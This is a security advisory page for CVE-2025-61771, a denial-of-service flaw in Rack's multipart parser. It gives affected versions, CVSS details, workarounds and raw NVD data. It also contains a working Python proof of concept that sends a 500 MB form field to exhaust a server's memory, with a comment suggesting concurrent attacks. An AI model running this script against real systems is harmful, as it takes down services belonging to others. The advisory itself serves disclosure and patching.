Security Vulnerability Report
中文
CVE-2025-61771 CVSS 7.5 HIGH

CVE-2025-61771

Published: 2025-10-07 15:16:03
Last Modified: 2025-10-10 16:45:10

Description

Rack is a modular Ruby web server interface. In versions prior to 2.2.19, 3.1.17, and 3.2.2, ``Rack::Multipart::Parser` stores non-file form fields (parts without a `filename`) entirely in memory as Ruby `String` objects. A single large text field in a multipart/form-data request (hundreds of megabytes or more) can consume equivalent process memory, potentially leading to out-of-memory (OOM) conditions and denial of service (DoS). Attackers can send large non-file fields to trigger excessive memory usage. Impact scales with request size and concurrency, potentially leading to worker crashes or severe garbage-collection overhead. All Rack applications processing multipart form submissions are affected. Versions 2.2.19, 3.1.17, and 3.2.2 enforce a reasonable size cap for non-file fields (e.g., 2 MiB). Workarounds include restricting maximum request body size at the web-server or proxy layer (e.g., Nginx `client_max_body_size`) and validating and rejecting unusually large form fields at the application level.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:rack:rack:*:*:*:*:*:ruby:*:* - VULNERABLE
cpe:2.3:a:rack:rack:*:*:*:*:*:ruby:*:* - VULNERABLE
cpe:2.3:a:rack:rack:*:*:*:*:*:ruby:*:* - VULNERABLE
Rack < 2.2.19
Rack 3.1.x < 3.1.17
Rack 3.2.x < 3.2.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-61771 PoC - Rack Multipart Parser DoS # This PoC demonstrates how to trigger memory exhaustion via large non-file form fields import requests import sys TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target-app.com/upload" # Size in bytes (default: 500MB to trigger OOM) PAYLOAD_SIZE = int(sys.argv[2]) if len(sys.argv) > 2 else 500 * 1024 * 1024 def generate_multipart_payload(field_name, field_value_size): """Generate a multipart/form-data request body with a large non-file field""" boundary = "----WebKitFormBoundary7MA4YWxkTrZu0gW" body = f"--{boundary}\r\n" # Note: NO filename attribute - this is a non-file field stored entirely in memory body += f'Content-Disposition: form-data; name="{field_name}"\r\n\r\n' # Large text content that will be loaded entirely into memory body += "A" * field_value_size body += f"\r\n--{boundary}--\r\n" return body.encode(), boundary def exploit(): print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Payload size: {PAYLOAD_SIZE / (1024*1024):.0f} MB") body, boundary = generate_multipart_payload("large_field", PAYLOAD_SIZE) headers = { "Content-Type": f"multipart/form-data; boundary={boundary}", "Content-Length": str(len(body)) } print(f"[*] Sending malicious multipart request...") try: response = requests.post(TARGET_URL, data=body, headers=headers, timeout=30) print(f"[*] Response status: {response.status_code}") except requests.exceptions.Timeout: print("[+] Target appears to be unresponsive - possible DoS success!") except requests.exceptions.ConnectionError: print("[+] Connection error - target may have crashed (OOM killed)!") if __name__ == "__main__": exploit() # Usage: python poc.py http://vulnerable-rack-app.com 524288000 # For concurrent attack, run multiple instances simultaneously

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61771", "sourceIdentifier": "[email protected]", "published": "2025-10-07T15:16:03.123", "lastModified": "2025-10-10T16:45:09.960", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Rack is a modular Ruby web server interface. In versions prior to 2.2.19, 3.1.17, and 3.2.2, ``Rack::Multipart::Parser` stores non-file form fields (parts without a `filename`) entirely in memory as Ruby `String` objects. A single large text field in a multipart/form-data request (hundreds of megabytes or more) can consume equivalent process memory, potentially leading to out-of-memory (OOM) conditions and denial of service (DoS). Attackers can send large non-file fields to trigger excessive memory usage. Impact scales with request size and concurrency, potentially leading to worker crashes or severe garbage-collection overhead. All Rack applications processing multipart form submissions are affected. Versions 2.2.19, 3.1.17, and 3.2.2 enforce a reasonable size cap for non-file fields (e.g., 2 MiB). Workarounds include restricting maximum request body size at the web-server or proxy layer (e.g., Nginx `client_max_body_size`) and validating and rejecting unusually large form fields at the application level."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rack:rack:*:*:*:*:*:ruby:*:*", "versionEndExcluding": "2.2.19", "matchCriteriaId": "EBB6060B-A06F-4A88-8457-AD850E63E562"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rack:rack:*:*:*:*:*:ruby:*:*", "versionStartIncluding": "3.1.0", "versionEndExcluding": "3.1.17", "matchCriteriaId": "850EC79C-0F31-441F-9001-B7CA0CD7758F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rack:rack:*:*:*:*:*:ruby:*:*", "versionStartIncluding": "3.2.0", "versionEndExcluding": "3.2.2", "matchCriteriaId": "9A009CC5-8010-446E-A12B-BF5314CA5BEB"}]}]}], "references": [{"url": "https://github.com/rack/rack/commit/589127f4ac8b5cf11cf88fb0cd116ffed4d2181e", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/rack/rack/commit/d869fed663b113b95a74ad53e1b5cae6ab31f29e", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/rack/rack/commit/e08f78c656c9394d6737c022bde087e0f33336fd", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/rack/rack/security/advisories/GHSA-w9pc-fmgc-vxvw", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}